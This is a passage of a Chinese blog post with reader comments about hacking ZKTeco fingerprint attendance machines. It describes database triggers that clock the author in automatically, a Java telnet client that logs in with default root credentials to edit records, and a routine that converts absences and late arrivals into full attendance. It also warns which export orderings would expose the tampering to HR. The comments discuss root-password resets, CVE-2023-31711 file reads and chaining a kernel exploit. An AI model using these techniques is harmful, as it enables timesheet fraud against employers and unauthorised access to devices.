而如果你使用 ID 字段,试问:除了通过 U 盘再次导出 ZKDB.db、修改并重新导入外,你有什么其他的方法使触发器对你失效吗?答案是没有。这并不比使用密码方便。
Q: 触发器内,用于判断生效的密码一定要是数字型的密码吗?可以使用 abc 之类的英文字母做密码吗?
A: 可以。但是考虑到考勤机上只能输入数字,当你认为你没有在考勤机上输入密码的需求,也不需要通过考勤机快速新增其他生效人员的时候,你可以使用英文字母一类的字符串当做密码。由于其他人无法通过考勤机的数字键盘输入英文字母,不可能与你通过修改 ZKDB.db 文件修改的密码相撞,该种方法甚至比使用数字型的密码要更安全。
但请注意:当你需要使触发器不再对你生效,而后又要重新使能生效的话,反映在具体操作上应该是:1. 将密码修改/清空;2. 重新启用对应密码。
这时候若你触发器内的规则使用的密码是英文字母的话,你只能通过 U 盘重新导出/修改你的密码为英文字母/保存/重新导入考勤机,或是通过 SDK 来设置带英文字母的密码。相比于使用数字型密码,该种方式较为不便,使用前请斟酌。
Q: 触发器还能实现什么复杂需求?
A: 参考评论区和 LLL 的沟通记录,他本人实现了:当日最早打卡的同事打卡时,自动帮他本人打卡。但受限于本人精力,无法再详细展开。由于你已经有了 ZKDB.db 文件,你可以自己进行脱机操作和尝试,来实现更为复杂的功能。
Q: 我已经测试完成了触发器,在将修改完毕的备份文件导入考勤机前,我应该注意什么?
A: 一是注意完成触发器编辑后,重新拷一份备份出来做触发器修改,免得在你这段时间内的打卡记录丢失。二是查阅 0x05 考勤记录导出 Excel 表时的排序章节,注意你的考勤机的数据导出结果是否是混杂排序。如果非混杂排序,而是自动按照时间排序的话,本文示例的触发器就已能够满足你的需求。如果是混杂排序的话,你可能需要修改你的触发器代码,比如:在当日的第一个打卡的同事第一次打卡后,自动插入你自己的打卡记录,且你和该同事的打卡时间仅相差十几秒。你可以参照评论区 LLL 的说法来加深理解,并实现出该触发器代码。
Q: 文中关于 SQL 操作的说明对我来说依然太粗浅/复杂,我该如何详细/简单学习 SQL 语法?
A: 受限于本人精力和篇幅,我无法更详尽地讲解 SQL 语法,也无法手把手地教授,况且每个人对于触发器的需求可能都不一样。你可能需要网络检索 SQLite 的入门和教程,了解基本的INSERT、UPDATE、SELECT语句的语法,甚至是触发器的语法和原理来完成这件事。过程中,ChatGPT 是个不错的导师,如果你有条件,可以用 ChatGPT 来辅助你理解和完成 SQLite 和触发器。但请注意,ChatGPT 也可能出错,比如评论区 LLL 在使用 ChatGPT 时,ChatGPT 给出了一个并不存在的函数unixepoch,你需要仔细审查 ChatGPT 给出的结果。你也可以详细翻阅评论区,获取启发。
0x05 考勤记录导出 Excel 表时的排序
大部分新版本导出的记录是类似于课程表一样的格式,不存在所谓的排序问题。其他版本导出的 sheet1 是工号 + 打卡时间,sheet2 是工号 + 姓名,需要使用 Excel 的VLOOKUP函数来进行表透视,但为了方便理解,此处直接采用姓名 + 打卡时间来讲解旧版格式。
低版本考勤机是按照插入表的先后顺序排列的。举个简单的例子,小田于 2020 年 4 月 23 和 25 号正常打卡,但是 24 号他忘了打卡。于是 25 号这天他进入管理后台,将考勤机系统时间改成 24 号,打了两次卡后再改回 25 号。按理来说,我们期望导出的记录是这样的:
| 姓名 | 打卡时间 |
|---|---|
| 小田 | 2020-04-23 08:29:23 |
| 小田 | 2020-04-23 18:33:19 |
| 小田 | 2020-04-24 08:30:12 |
| 小田 | 2020-04-24 18:30:59 |
| 小田 | 2020-04-25 08:45:37 |
| 小田 | 2020-04-25 19:04:25 |
但如果小田公司用的是低版本考勤机,那么当他按照上面流程操作后,导出的记录是这样的:
| 姓名 | 打卡时间 |
|---|---|
| 小田 | 2020-04-23 08:29:23 |
| 小田 | 2020-04-23 18:33:19 |
| 小田 | 2020-04-25 08:45:37 |
| 小田 | 2020-04-25 19:04:25 |
| 小田 | 2020-04-24 08:30:12 |
| 小田 | 2020-04-24 18:30:59 |
也就是说,旧版考勤机上,是按照实际打卡的先后顺序排序,而非打卡时考勤机的时间顺序。实际上,在旧版考勤机上,导出的记录是多人混杂的,实际情况会更加复杂:
| 姓名 | 打卡时间 |
|---|---|
| 小田 | 2020-04-25 08:45:37 |
| 刘英 | 2020-04-25 08:46:23 |
| 永强 | 2020-04-25 08:47:51 |
| 刘英 | 2020-04-25 18:58:47 |
| 小田 | 2020-04-25 19:04:25 |
| 永强 | 2020-04-25 19:23:09 |
| 小田 | 2020-04-24 08:30:12 |
| 小田 | 2020-04-24 18:30:59 |
如果人事小姐姐眼尖,那应该是会被发现的。请务必注意这一点。
0x06 基于 Telnet 客户端的打卡机联动考勤管理系统
这个基本上像个小项目一样的东西了。原理很简单,自己写业务层的增删改查就可以。为什么不选择用 SDK?因为用 SDK 不能选择查询范围,可能你读一次记录要半天,把考勤机上岗之初到现在的所有记录全都读出来了。
问题是这里并没有现成的数据库连接,所以我们选择用 Telnet 命令的方式。
CURD via Telnet
注意到 0x01 中提到的 sqlite3_mips,其实就是一个 SQLite3 应用,可以通过命令行进行 CURD。则用程序写一个与之相适应的 Telnet 客户端,通过输入命令和输出数据,配合正则表达式格式化输出即可。
至于查询条件,请自行根据需求拼装成 SQL 语句,输入 Telnet 客户端即可。
需要额外注意的是:在我这个版本的考勤机 telnet 中,会显示 ANSI COLOR,所以格式化数据的时候,需要去除 ANSI COLOR. 鉴于我编写的 TelnetClientEx 太长,就不贴出来了(2022-08-06:实际上代码已经完全丢失了)。
Java 版本使用示例:
private TelnetClientEx getTelnet() {
TelnetClientEx telnet = new TelnetClientEx();
telnet.setColored(false);
telnet.setCharset("UTF-8");
telnet.connect(CacheContext.getParamValue("attMachineAddr", "192.168.0.201"), Integer.parseInt(CacheContext.getParamValue("attMachinePort", "23")));
telnet.login(CacheContext.getParamValue("attMachineUser", "root"), CacheContext.getParamValue("attMachinePassword", "solokey"));
return telnet;
}
/**
* 根据 ID 获取 1 条考勤记录
* @param id
* @return AttLog(nullable)
*/
public AttLog getOne(Integer id) {
if(id == null) {
return null;
}
TelnetClientEx telnet = getTelnet();
try {
// 发送命令
telnet.command("cd /mnt/mtdblock/data/");
telnet.setEndPattern("> ");
telnet.command("./sqlite3_mips ZKDB.db");
String sqlBody =
"SELECT ATT_LOG.*, USER_INFO.Name FROM ATT_LOG LEFT JOIN USER_INFO ON USER_INFO.User_PIN = ATT_LOG.User_PIN WHERE ATT_LOG.id=" + id + ";";
String selectResult = telnet.command(sqlBody);
Pattern p = Pattern.compile("^(.*?)\|(.*?)\|.*?\|(.*?)\|.*?\|.*?\|.*?\|.*?\|.*?\|.*?\|.*?\|(.*?)$", Pattern.MULTILINE);
if(selectResult != null ) {
Matcher m = p.matcher(selectResult);
if(m.find()) {
Integer userPin = Integer.valueOf(m.group(2));
SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ss");
//simpleDateFormat.setTimeZone(TimeZone.getTimeZone("GMT"));
Timestamp timestamp = null;
try {
timestamp = new Timestamp(simpleDateFormat.parse(m.group(3)).getTime());
} catch (ParseException e) {
e.printStackTrace();
}
String name = m.group(4);
return new AttLog()
.setId(id)
.setUserPin(userPin)
.setVerifyTime(timestamp)
.setName(name);
}
}
return null;
} catch (Exception e) {
e.printStackTrace();
return null;
} finally {
telnet.setEndPattern("# ");
telnet.command(".q");
telnet.logout();
}
}
使用事务批量操作数据
这里的操作包括增删改,要知道打卡机 MCU 性能可能没那么好,如果要一次性增删改大量数据而一条一条来的话,可能很耗时,甚至导致考勤机卡死。
推荐的解决方案是采用事务:
BEGIN;
INSERT INTO ...;
UPDATE ...;
...
COMMIT;
对应的 Java 代码:
public boolean transaction(List<String> commands) {
if (commands == null || commands.size() == 0) {
return true;
}
TelnetClientEx telnet = getTelnet();
try {
telnet.command("cd /mnt/mtdblock/data/");
telnet.setEndPattern("> ");
telnet.command("./sqlite3_mips ZKDB.db");
telnet.command("BEGIN;");
for(String command : commands) {
telnet.command(command);
}
telnet.command("COMMIT;");
return true;
} catch (Exception e) {
e.printStackTrace();
return false;
} finally {
telnet.setEndPattern("# ");
telnet.command(".q");
telnet.logout();
}
}
这样既快速,又能在遇到错误的时候回滚。
总之你可以 Telnet,基本上什么花样都可以玩了,我甚至写了个一键补打卡,可以把选定日期的缺勤、迟到、早退全改成全勤。
0x07 一键补打卡
思路是这样,首先确定迟到线和早退线,即上下班时间。确定中位线,即中午 12 点,以判断是上午还是下午。
然后查询指定日期内指定工号(姓名)被考勤人的记录,以天为单位做统计,可能会有以下几种情况:
- 当天考勤 0 次
- 当天考勤 1 次
- 当天考勤 2 次及以上
考勤 0 次的,判定为缺勤,需要做的就是新增 2 条记录,一条位于迟到线之前,另一条位于早退线之后。
考勤 1 次的,首先判断是上午还是下午。是上午的判断是否位于迟到线之前,如果否,则将其修改为迟到线前,并新增 1 条记录位于早退线之后。是下午的同理。
考勤 2 次及以上的,取当日最早和最晚的 2 条记录。对于最早记录,判断是否在迟到线前,如果否,将其修改为迟到前;对于最晚记录,判断是否在早退后,如果否,将其修改为早退后。
PS:当然,我更建议你按时上下班。
PPS:我和人事小姐姐真有故事😉。
参考资料:《户外物理设备入侵之:入侵并“调教”中控指纹语音考勤系统(打卡机)》 - Nuclear'Atk
请原谅我的中文,我正在使用谷歌从英文翻译。是否可以通过上传修改后的配置文件并覆盖原始配置来重置root密码?这对这个人来说很成功(https://infobyte1.rssing.com/chan-11273056/all_p3.html)。我从 Web ui 导出了配置文件,但它没有有用的信息
Hi,
I have read the blog article you provided. According to this article, if your device provides a web administration panel, you do can indeed overwrite the
passwdandshadowfiles to reset therootpassword, allowing you to connect to the device via telnet.Sence I don't have any device provides a web administration panel, I can't provide you any further information. You'll need to follow the instructions provided in the article and ensure you're prepared for the potential risks of failure.
你好,
我需要一段时间来阅读、理解和尝试。 如果我取得任何进展,我将在这里提供更新。同时 查看此 (https://github.com/HritikThapa7/CVE-2023-31711) 以及页面底部链接的 (Safescan) 项目可能会很有用.... 它允许root用户执行任意文件上传和读取系统文件
It seems that you can indeed read arbitrary files using CVE-2023-31711, but in my personal experience, the practicality of this vulnerability is limited:
passwdandshadowfiles is low;ZKDB.dbcan be accessed, it cannot be modified; at most, you can check if the administrator account has set a password and use it.The Safescan project seems more promising; you might want to delve deeper into that. Looking forward to hearing about your results.
I did some limited testing of the Safescan project & it appears to work for zk devices as well. Two functions that are useful are get_file & write_file. It does read system files (ZKDB.db & any other file) & probably works to push files (It says so in the project, but I'll have to read up on some python & see if it works. I didn't test). There is a kernel exploit for the version of Linux that's on my devices which allows adding a root account to the system. It'll have to be compiled for MIPS, pushed to the device & executed. I'm not really a techie, but if one were to chain together these two vulnerabilities, I think It'd take care of telnet access.
I'll keep testing & report back if I make good progress
I'm surprised that Kaspersky is studying ZK biometric devices, and also surprised that ZK devices are being used so extensively worldwide (even though I've seen ZK access control devices in some Southeast Asian countries before, I thought most devices were only found in mainland China). Although I currently don't have any ZK devices available for me to pwn, some ideas in the article, such as using UART, have given me inspiration for hacking into devices.
Thank you for your research, and I sincerely hope you make further progress.
当然可以,密码生成的逻辑都在 zkteco.js 文件里,把它保存在本地,再写个 html 文件来引用它就行
序列号怎么弄的呀,求
序列号在考勤机背面有